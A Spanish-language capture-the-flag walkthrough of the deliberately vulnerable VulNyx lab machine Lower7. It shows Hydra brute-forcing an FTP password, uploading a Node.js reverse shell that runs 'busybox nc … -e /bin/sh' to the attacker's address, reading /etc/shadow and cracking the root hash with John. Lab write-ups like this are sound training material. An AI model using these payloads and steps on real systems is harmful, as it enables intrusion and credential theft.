VulNyx - Lower7
Information
Lower7 es una máquina virtual vulnerable Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 12:19 CEST
Nmap scan report for 192.168.1.56
Host is up (0.000077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
3000/tcp open ppp
root@kali:~ ❯ nmap -sVC -p21,3000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 12:19 CEST
Nmap scan report for 192.168.1.56
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8)
Shell (a.clark)
21/TCP (FTP)
En el nmap inicial los scripts NSE no detercaron usuario anonymous habilitado
Me conecto al servicio y enumero en el banner de bienvenida al usuario a.clark
root@kali:~ ❯ ftp root@192.168.1.56
Connected to 192.168.1.56.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password:
Password Brute Force
En tenencia de un usuario intento con hydra obtener su password y obtengo éxito con dragon
root@kali:~ ❯ hydra -t 64 -l a.clark -P /opt/techyou.txt ftp://192.168.1.56
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-14 12:26:49
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10000 login tries (l:1/p:10000), ~157 tries per task
[DATA] attacking ftp://192.168.1.56:21/
[21][ftp] host: 192.168.1.56 login: a.clark password: dragon
Upload Reverse Shell
En vista que existe un servidor HTTP por el puerto 3000 basado en Node.js subo una reverse shell .js
root@kali:~ ❯ cat rev.js
const { exec } = require('child_process');
module.exports = (req, res) => {
exec('busybox nc 192.168.1.5 443 -e /bin/sh', (error, stdout) => {
res.send(`${stdout.trim()}`);
});
};
root@kali:~ ❯ ftp a.clark@192.168.1.56
Connected to 192.168.1.56.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||31432|)
150 Here comes the directory listing.
drwxrwxrwx 2 1000 1000 4096 Oct 13 15:38 .
drwxrwxrwx 2 1000 1000 4096 Oct 13 15:38 ..
226 Directory send OK.
ftp> put rev.js
local: rev.js remote: rev.js
229 Entering Extended Passive Mode (|||54849|)
150 Ok to send data.
100% |********************************************************************************************************************************************| 188 4.26 MiB/s 00:00 ETA
226 Transfer complete.
188 bytes sent in 00:00 (248.77 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||51329|)
150 Here comes the directory listing.
drwxrwxrwx 2 1000 1000 4096 Oct 14 12:32 .
drwxrwxrwx 2 1000 1000 4096 Oct 14 12:32 ..
-rw------- 1 1000 1000 188 Oct 14 12:32 rev.js
226 Directory send OK.
3000/TCP (HTTP)
Site

Reverse Shell
Intengo obtener la reverse shell apuntando al archivo subido rev.js
root@kali:~ ❯ curl -sX GET "http://192.168.1.56:3000/rev.js"
Obtengo la shell como usuario a.clark
root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.56] 33236
id ; hostname
uid=1000(a.clark) gid=1000(a.clark) grupos=1000(a.clark),42(shadow)
lower7
Privilege Escalation
Enumeration
Groups
El usuario a.clark forma parte del grupo shadow
Los usuarios miembros del grupo
shadowdisponen de permisos de lectura sobre el archivo/etc/shadow
a.clark@lower7:~$ id
uid=1000(a.clark) gid=1000(a.clark) grupos=1000(a.clark),42(shadow)
a.clark@lower7:~$ groups
a.clark shadow
Abuse
Obtengo el hash del usuario root en el archivo /etc/shadow
a.clark@lower7:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 740 oct 13 15:34 /etc/shadow
a.clark@lower7:~$ grep root /etc/shadow
root:$y$j9T$9VFLJjKZix0Ugj9YsoOCS.$z0FVk.1CCNx/YRzEmwjcz6z4oYqa7YD6QyXd52jxyLD:20374:0:99999:7:::
Cracking (Hash)
Con john consigo romper el hash y obtengo el password bassman
El prefijo del hash es
$ypor lo que es de tipoyescrypt (--format=crypt)
root@kali:~ ❯ john --wordlist=/opt/rockyou.txt --format=crypt hash
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bassman (root)
Me convierto en usuario root con las credenciales obtenidas
a.clark@lower7:~$ su -
Contraseña:
root@lower7:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
lower7
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
root@lower7:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
97b*****************************
9f9*****************************
Hasta aquí la resolución de la máquina Lower7.
Happy Hacking!